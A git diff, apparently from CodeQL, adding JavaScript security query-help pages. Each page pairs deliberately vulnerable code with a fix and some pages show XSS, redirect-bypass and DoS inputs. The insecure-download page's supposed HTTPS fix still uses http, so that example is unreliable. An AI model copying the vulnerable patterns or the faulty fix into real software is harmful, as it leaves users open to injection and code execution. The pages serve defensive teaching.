'/': '\\u002F', + '\\': '\\\\', + '\b': '\\b', + '\f': '\\f', + '\n': '\\n', + '\r': '\\r', + '\t': '\\t', + '\0': '\\0', + '\u2028': '\\u2028', + '\u2029': '\\u2029' +}; + +function escapeUnsafeChars(str) { + return str.replace(/[<>\b\f\n\r\t\0\u2028\u2029]/g, x => charMap[x]) +} + +function createObjectWrite() { + const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`; + return `(function(){${assignment}})` // OK +} +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHostnameRegExp.md b/docs/language/query-help/javascript/IncompleteHostnameRegExp.md new file mode 100644 index 00000000000..0972173a4d5 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteHostnameRegExp.md @@ -0,0 +1,47 @@ +# Incomplete regular expression for hostnames + +``` +ID: js/incomplete-hostname-regexp +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. + +If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. + + +## Recommendation +Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param('url'), + host = urlLib.parse(url).host; + // BAD: the host of `url` may be controlled by an attacker + let regex = /^((www|beta).)?example.com/; + if (host.match(regex)) { + res.redirect(url); + } +}); + +``` +The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. + +Address this vulnerability by escaping `.` appropriately: `let regex = /((www|beta)\.)?example\.com/`. + + +## References +* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md b/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md new file mode 100644 index 00000000000..8f37ddb3c89 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md @@ -0,0 +1,61 @@ +# Incomplete HTML attribute sanitization + +``` +ID: js/incomplete-html-attribute-sanitization +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteHtmlAttributeSanitization.ql) + +Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized. + +As a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML. + + +## Recommendation +Sanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used. + + +## Example +The following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `" onclick="alert(42)` to inject JavaScript code into the response. + + +```javascript +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + let id = req.params.id; + id = id.replace(/<|>/g, ""); // BAD + let userHtml = `
    ${getUserName(id) || "Unknown name"}
    `; + // ... + res.send(prefix + userHtml + suffix); +}); + +``` +Sanitizing the user-controlled data for `"` helps prevent the vulnerability: + + +```javascript +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + let id = req.params.id; + id = id.replace(/<|>|&|"/g, ""); // GOOD + let userHtml = `
    ${getUserName(id) || "Unknown name"}
    `; + // ... + res.send(prefix + userHtml + suffix); +}); + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md b/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md new file mode 100644 index 00000000000..af83b6b7823 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md @@ -0,0 +1,62 @@ +# Incomplete multi-character sanitization + +``` +ID: js/incomplete-multi-character-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql) + +Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. + +However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. + +In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. + +Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. + + +## Recommendation +Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. + +Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. + +Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. + +For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. + + +## Example +For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: + + +```javascript +function escapeQuotes(s) { + return s.replace("'", "''"); +} + +``` +As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. + +As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. + +If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: + + +```javascript +function escapeQuotes(s) { + return s.replace(/'/g, "''"); +} + +``` +Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. + + +## References +* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). +* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteSanitization.md b/docs/language/query-help/javascript/IncompleteSanitization.md new file mode 100644 index 00000000000..3baf4fe0c6d --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteSanitization.md @@ -0,0 +1,62 @@ +# Incomplete string escaping or encoding + +``` +ID: js/incomplete-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteSanitization.ql) + +Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. + +However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. + +In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. + +Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. + + +## Recommendation +Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. + +Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. + +Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. + +For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. + + +## Example +For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: + + +```javascript +function escapeQuotes(s) { + return s.replace("'", "''"); +} + +``` +As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. + +As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. + +If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: + + +```javascript +function escapeQuotes(s) { + return s.replace(/'/g, "''"); +} + +``` +Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. + + +## References +* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). +* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md b/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md new file mode 100644 index 00000000000..fffc180bccf --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md @@ -0,0 +1,50 @@ +# Incomplete URL scheme check + +``` +ID: js/incomplete-url-scheme-check +Kind: problem +Severity: warning +Precision: high +Tags: security correctness external/cwe/cwe-020 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) + +URLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme. + +However, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient. + + +## Recommendation +Add checks covering both `data:` and `vbscript:`. + + +## Example +The following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned. + + +```javascript +function sanitizeUrl(url) { + let u = decodeURI(url).trim().toLowerCase(); + if (u.startsWith("javascript:")) + return "about:blank"; + return url; +} + +``` +While this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well: + + +```javascript +function sanitizeUrl(url) { + let u = decodeURI(url).trim().toLowerCase(); + if (u.startsWith("javascript:") || u.startsWith("data:") || u.startsWith("vbscript:")) + return "about:blank"; + return url; +} + +``` + +## References +* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md new file mode 100644 index 00000000000..84a19be6603 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md @@ -0,0 +1,75 @@ +# Incomplete URL substring sanitization + +``` +ID: js/incomplete-url-substring-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. + +However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. + +Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. + + +## Recommendation +Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param("url"); + // BAD: the host of `url` may be controlled by an attacker + if (url.includes("example.com")) { + res.redirect(url); + } +}); + +``` +The substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead: + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param("url"), + host = urlLib.parse(url).host; + // BAD: the host of `url` may be controlled by an attacker + if (host.includes("example.com")) { + res.redirect(url); + } +}); + +``` +This is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure: + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param('url'), + host = urlLib.parse(url).host; + // GOOD: the host of `url` can not be controlled by an attacker + let allowedHosts = [ + 'example.com', + 'beta.example.com', + 'www.example.com' + ]; + if (allowedHosts.includes(host)) { + res.redirect(url); + } +}); + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncorrectSuffixCheck.md b/docs/language/query-help/javascript/IncorrectSuffixCheck.md new file mode 100644 index 00000000000..862e555e760 --- /dev/null +++ b/docs/language/query-help/javascript/IncorrectSuffixCheck.md @@ -0,0 +1,48 @@ +# Incorrect suffix check + +``` +ID: js/incorrect-suffix-check +Kind: problem +Severity: error +Precision: high +Tags: security correctness external/cwe/cwe-020 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql) + +The `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all. + +Specifically, this can easily happen when implementing `endsWith` using `indexOf`. + + +## Recommendation +Use `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1. + + +## Example +The following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`: + + +```javascript +function endsWith(x, y) { + return x.lastIndexOf(y) === x.length - y.length; +} + +``` +However, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`. + +To avoid this, explicitly check for the -1 case: + + +```javascript +function endsWith(x, y) { + let index = x.lastIndexOf(y); + return index !== -1 && index === x.length - y.length; +} + +``` + +## References +* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith) +* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IndirectCommandInjection.md b/docs/language/query-help/javascript/IndirectCommandInjection.md new file mode 100644 index 00000000000..7ecfca43a06 --- /dev/null +++ b/docs/language/query-help/javascript/IndirectCommandInjection.md @@ -0,0 +1,55 @@ +# Indirect uncontrolled command line + +``` +ID: js/indirect-command-line-injection +Kind: path-problem +Severity: warning +Precision: medium +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/IndirectCommandInjection.ql) + +Forwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters. + +When the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of forwarding the command-line arguments to the process, examine the command-line arguments and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that each forwarded command-line argument is properly escaped before using it. + +If the forwarded command-line arguments are part of the arguments of the system command, prefer a library routine that handles the arguments as an array of strings rather than a single concatenated string. This prevents the unexpected evaluation of special characters. + + +## Example +The following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `"dollar$separated$name"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`. + + +```javascript +var cp = require("child_process"); + +const args = process.argv.slice(2); +const script = path.join(__dirname, 'bin', 'main.js'); +cp.execSync(`node ${script} ${args.join(' ')}"`); // BAD + +``` +If another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script. + +To guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`: + + +```javascript +var cp = require("child_process"); + +const args = process.argv.slice(2); +const script = path.join(__dirname, 'bin', 'main.js'); +cp.execFileSync('node', [script].concat(args)); // GOOD + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureDownload.md b/docs/language/query-help/javascript/InsecureDownload.md new file mode 100644 index 00000000000..b4a09c5c232 --- /dev/null +++ b/docs/language/query-help/javascript/InsecureDownload.md @@ -0,0 +1,48 @@ +# Download of sensitive file through insecure connection + +``` +ID: js/insecure-download +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-829 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-829/InsecureDownload.ql) + +Downloading executeables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system. + + +## Recommendation +Use a secure transfer protocol when downloading executables or other sensitive files. + + +## Example +In this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script. + + +```javascript +const fetch = require("node-fetch"); +const cp = require("child_process"); + +fetch('http://mydownload.example.org/myscript.sh') + .then(res => res.text()) + .then(script => cp.execSync(script)); +``` +The HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system. + +The issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol. + + +```javascript +const fetch = require("node-fetch"); +const cp = require("child_process"); + +fetch('http://mydownload.example.org/myscript.sh') + .then(res => res.text()) + .then(script => cp.execSync(script)); +``` + +## References +* OWASP: [Man-in-the-middle attack](https://owasp.org/www-community/attacks/Man-in-the-middle_attack). +* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureRandomness.md b/docs/language/query-help/javascript/InsecureRandomness.md new file mode 100644 index 00000000000..81c79a5cfb9 --- /dev/null +++ b/docs/language/query-help/javascript/InsecureRandomness.md @@ -0,0 +1,58 @@ +# Insecure randomness + +``` +ID: js/insecure-randomness +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-338 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-338/InsecureRandomness.ql) + +Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. + +Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. + + +## Recommendation +Use a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered "security-sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. + +For JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security. + +For JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator. + + +## Example +The following examples show different ways of generating a password. + +In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. + + +```javascript +function insecurePassword() { + // BAD: the random suffix is not cryptographically secure + var suffix = Math.random(); + var password = "myPassword" + suffix; + return password; +} + +``` +In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. + + +```javascript +function securePassword() { + // GOOD: the random suffix is cryptographically secure + var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0]; + var password = "myPassword" + suffix; + return password; +} + +``` + +## References +* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). +* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues). +* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) +* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureUrlWhitelist.md b/docs/language/query-help/javascript/InsecureUrlWhitelist.md new file mode 100644 index 00000000000..c6b8ffedd3e --- /dev/null +++ b/docs/language/query-help/javascript/InsecureUrlWhitelist.md @@ -0,0 +1,49 @@ +# Insecure URL whitelist + +``` +ID: js/angular/insecure-url-whitelist +Kind: problem +Severity: warning +Precision: very-high +Tags: security frameworks/angularjs external/cwe/cwe-183 external/cwe/cwe-625 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/InsecureUrlWhitelist.ql) + +AngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow. + +A URL pattern that is too permissive can cause security vulnerabilities. + + +## Recommendation +Make the whitelist URL patterns as restrictive as possible. + + +## Example +The following example shows an AngularJS application with whitelist URL patterns that all are too permissive. + + +```javascript +angular.module('myApp', []) + .config(function($sceDelegateProvider) { + $sceDelegateProvider.resourceUrlWhitelist([ + "*://example.org/*", // BAD + "https://**.example.com/*", // BAD + "https://example.**", // BAD + "https://example.*" // BAD + ]); + }); + +``` +This is problematic, since the four patterns match the following malicious URLs, respectively: + +* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak) +* `https://evil.com/?ignore=://example.com/a` +* `https://example.evil.com` +* `https://example.evilTld` + +## References +* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf) +* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem). +* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html). +* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsufficientPasswordHash.md b/docs/language/query-help/javascript/InsufficientPasswordHash.md new file mode 100644 index 00000000000..b59c08c0b5f --- /dev/null +++ b/docs/language/query-help/javascript/InsufficientPasswordHash.md @@ -0,0 +1,49 @@ +# Use of password hash with insufficient computational effort + +``` +ID: js/insufficient-password-hash +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-916 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-916/InsufficientPasswordHash.ql) + +Storing cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords. + +A good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing. + + +## Recommendation +Use a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`. + + +## Example +In the example below, the `md5` algorithm computes the hash of a password. + + +```javascript +const crypto = require("crypto"); +function hashPassword(password) { + var hasher = crypto.createHash('md5'); + var hashed = hasher.update(password).digest("hex"); // BAD + return hashed; +} + +``` +This is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm: + + +```javascript +const bcrypt = require("bcrypt"); +function hashPassword(password, salt) { + var hashed = bcrypt.hashSync(password, salt); // GOOD + return hashed; +} + +``` + +## References +* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/LoopBoundInjection.md b/docs/language/query-help/javascript/LoopBoundInjection.md new file mode 100644 index 00000000000..1219ee965da --- /dev/null +++ b/docs/language/query-help/javascript/LoopBoundInjection.md @@ -0,0 +1,64 @@ +# Loop bound injection + +``` +ID: js/loop-bound-injection +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-834 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-834/LoopBoundInjection.ql) + +Using the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack. + + +## Recommendation +Either check that the object is indeed an array or limit the size of the `.length` property. + + +## Example +In the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array. + + +```javascript +var express = require('express'); +var app = express(); + +app.post("/foo", (req, res) => { + var obj = req.body; + + var ret = []; + + // Potential DoS if obj.length is large. + for (var i = 0; i < obj.length; i++) { + ret.push(obj[i]); + } +}); + +``` +This is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array. + + +```javascript +var express = require('express'); +var app = express(); + +app.post("/foo", (req, res) => { + var obj = req.body; + + if (!(obj instanceof Array)) { // Prevents DoS. + return []; + } + + var ret = []; + + for (var i = 0; i < 